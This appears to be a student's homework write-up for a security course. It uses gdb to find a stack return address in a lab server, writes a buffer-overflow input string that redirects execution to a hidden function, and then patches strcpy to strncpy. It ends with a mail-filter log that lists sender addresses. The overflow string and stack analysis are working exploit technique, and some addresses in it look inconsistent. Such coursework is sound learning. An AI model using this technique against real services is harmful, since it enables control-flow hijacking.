

hw10_Panchagnula_Raghava

Homework Number: HW10

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```
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Connected from 127.0.0.1

Breakpoint 1, clientComm (clntSockfd=4, senderBuffSize_addr=0x7fffffffde60, optlen_addr=0x7f
104      int numBytes = 0;
(gdb) disas secretFunction
Dump of assembler code for function secretFunction:
    0x00005555555556da <+0>:      endbr64
    0x00005555555556de <+4>:      push   %rbp
    0x00005555555556df <+5>:      mov    %rsp,%rbp
    0x00005555555556e2 <+8>:      lea    0x9c7(%rip),%rax        # 0x5555555560b0
    0x00005555555556e9 <+15>:     mov    %rax,%rdi
    0x00005555555556ec <+18>:     call   0x5555555551b0 <puts@plt>
    0x00005555555556f1 <+23>:     mov    $0x1,%edi
    0x00005555555556f6 <+28>:     call   0x555555555290 <exit@plt>
End of assembler dump.
```

We need to call the push %rbp to get to the secret function.

```
End of assembler dump.
(gdb) br clientComm
Breakpoint 1 at 0x15a9: file server.c, line 104.
(gdb) br server.c:132
Breakpoint 2 at 0x16d8: file server.c, line 132.
```

These two breakpoints should help me get there. One at the start of clientComm and one at the end, to see how the stack of this function behaves.

```

End of assembler dump.
(gdb) x /104b $rsp
0x7fffffffddd0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffddd8: 0x38 0xde 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffdde0: 0x60 0xde 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffdde8: 0x88 0xdf 0xff 0xff 0x04 0x00 0x00 0x00
0x7fffffffddf0: 0xa9 0x53 0x55 0x55 0x55 0x55 0x00 0x00
0x7fffffffddf8: 0xbb 0x66 0xd3 0xf7 0xff 0x7f 0x00 0x00
0x7fffffffde00: 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffde08: 0x54 0x36 0xc4 0xf7 0xff 0x7f 0x00 0x00
0x7fffffffde10: 0x70 0xde 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffde18: 0x88 0x55 0x55 0x55 0x55 0x55 0x00 0x00
0x7fffffffde20: 0x88 0xdf 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffde28: 0x39 0xe2 0xff 0xff 0x02 0x00 0x00 0x00
0x7fffffffde30: 0x00 0x10 0xfc 0xf7 0xff 0x7f 0x00 0x00
(gdb) print /x ((unsigned *) $rbp + 2)
$8 = 0x7fffffffde18

```

Seems like the return of the clientComm is at \$rbp + 2, so I need to overflow up tode18 in order to put the %rbp of secret function for it to be called.

0x7fffffffde28 is the place that needs to get the buffer overflowed into to get the return address to the secret function.

```

Breakpoint 2, clientComm (clntSockfd=4, senderBuffSize_addr=0x7fffffffde60, optlen_
132      }
(gdb) x /104b $rsp
0x7fffffffddd0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffddd8: 0x38 0xde 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffdde0: 0x60 0xde 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffdde8: 0x88 0xdf 0xff 0xff 0x04 0x00 0x00 0x00
0x7fffffffddf0: 0xa9 0x53 0x55 0x55 0x55 0x55 0x00 0x00
0x7fffffffddf8: 0xbb 0x66 0xd3 0x41 0x0a 0x00 0x00 0x00
0x7fffffffde00: 0x10 0xe0 0x97 0xf7 0xff 0x7f 0x00 0x00
0x7fffffffde08: 0x54 0x36 0xc4 0xf7 0x02 0x00 0x00 0x00
0x7fffffffde10: 0x70 0xde 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffde18: 0x88 0x55 0x55 0x55 0x55 0x55 0x00 0x00
0x7fffffffde20: 0x88 0xdf 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffde28: 0x39 0xe2 0xff 0xff 0x02 0x00 0x00 0x00
0x7fffffffde30: 0x00 0x10 0xfc 0xf7 0xff 0x7f 0x00 0x00
(gdb) c
Continuing.

```

After typing A through client, there seems to be a 0x41, or an A placed in ..ddf8, so we need 28 more As to overflow, but from trial and error, I think I need one more. And then I can add the return to

secretFunction, which is as above. We need to flip the order of the bytes to account for the endianness as well.

I need to use the following message:

Specially crafted buffer overflow string;

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xde\x56\x55\x55\x55\x00\x00

```
Breakpoint 2, clientComm (cIntSockfd=4, senderBuffSize_addr=0x7fffffffde60, optlen_addr=0x7fffff132)
(gdb) x /104b $rsp
0x7fffffffddd0: 0x00  0x00  0x00  0x00  0x00  0x00  0x00  0x00
0x7fffffffddd8: 0x38  0xde  0xff  0xff  0xff  0x7f  0x00  0x00
0x7fffffffdde0: 0x60  0xde  0xff  0xff  0xff  0x7f  0x00  0x00
0x7fffffffdde8: 0x9a  0x54  0xca  0xf7  0x04  0x00  0x00  0x00
0x7fffffffddf0: 0xa9  0x53  0x55  0x55  0x55  0x55  0x00  0x00
0x7fffffffddf8: 0xbb  0x66  0xd3  0x41  0x41  0x41  0x41  0x41
0x7fffffffde00: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0x7fffffffde08: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0x7fffffffde10: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0x7fffffffde18: 0xde  0x56  0x55  0x55  0x55  0x55  0x00  0x00
0x7fffffffde20: 0x88  0xdf  0xff  0xff  0xff  0x7f  0x00  0x00
0x7fffffffde28: 0x39  0xe2  0xff  0xff  0x02  0x00  0x00  0x00
0x7fffffffde30: 0x00  0x10  0xfc  0xf7  0xff  0x7f  0x00  0x00
(gdb) c
Continuing.
You weren't supposed to get here!
[Inferior 1 (process 365560) exited with code 01]
(gdb) █
```

Seems like that message worked, so now I have the desired output.

strncpy(str, recvBuff, MAX_DATA_SIZE); /* Use strncpy instead of strcpy so that we discard the extra bytes of data*/

```
//strcpy(str, recvBuff); /* Use strcpy to copy the data from recvBuff to str */
// The original code is vulnerable to buffer overflow attacks. This is because the strcpy function does not check the size of the destination buffer.
// We can instead use strncpy to copy the data from recvBuff to str. This way, we can specify the size of the destination buffer.
// The max size of the destination buffer is MAX_DATA_SIZE, so we can use this as the size parameter for strncpy.
// This way we can avoid buffer overflow attacks.
strncpy(str, recvBuff, MAX_DATA_SIZE); /* Use strncpy instead of strcpy so that we discard the extra bytes of data*/
```

By using strncpy instead of strcpy we can avoid the issue of an excess number of bytes being copied over, leading to the return address being replaced in a case like ours. The limit ensures that any excess input is discarded, thus avoiding memory being overwritten and causing vulnerabilities to buffer overflow attacks.

Problem 3: Mail server

The log file output :

```
[ece404w8@shay ~/Mail]$ cat logfile
```

New message log:

1

From vivek.panchagnula@gmail.com Thu Apr 4 09:26:03 2024

Subject: test

Folder: spamFolder 3298

New message log:

2

From 0100018ea94aceef-8454d24b-cb6c-493b-a9a0-676cdc923f0e-000000@ses.2brightsparks.com
Thu Apr 4 09:27:37 2024

Subject: 2BrightSparks (SyncBack): Please confirm your subscription

Folder: spamFolder 3979

New message log:

3

New message log:

From delivery_20240404132930.660eab3a082d4a0001149ef6@bounce.newsletter.healthline.com Thu
Apr 4 09:29:51 2024

Subject: =?utf-8?B?SGksIHdl4oCZcmUgSGVhbHRobGluZSE=?=

Folder: spamFolder 93057

4

From delivery_20240404132930.660eab3a082d4a0001149ef9@bounce.newsletter.healthline.com Thu
Apr 4 09:29:51 2024

Subject: =?utf-8?B?8J+Ri/Cfj7sgSGkgRnJpZW5kOyB3ZWxjb21lHRviHlvdXI=?=

Folder: spamFolder 39297

New message log:

5

From delivery_20240404132930.660eab3a082d4a0001149efa@bounce.newsletter.healthline.com Thu
Apr 4 09:29:51 2024

Subject: =?utf-8?B?8J+RiyBlaSBGcmllbmQhIFdlbGNvbWUgdG8geW8=?=

Folder: spamFolder 121268

New message log:

6

From delivery_20240404132930.660eab3a082d4a0001149ef8@bounce.newsletter.healthline.com Thu
Apr 4 09:29:52 2024

Subject: =?utf-8?B?SGksIGZyaWVuZCEg8J+Ri/Cfj7s=?=

Folder: spamFolder 93640

New message log:

7

From delivery_20240404132930.660eab3a082d4a0001149ef7@bounce.newsletter.healthline.com Thu
Apr 4 09:29:52 2024

Subject: =?utf-8?B?8J+RiyBlaSBGcmllbmQhIFdlbGNvbWUgdG8g=?=

Folder: spamFolder 111790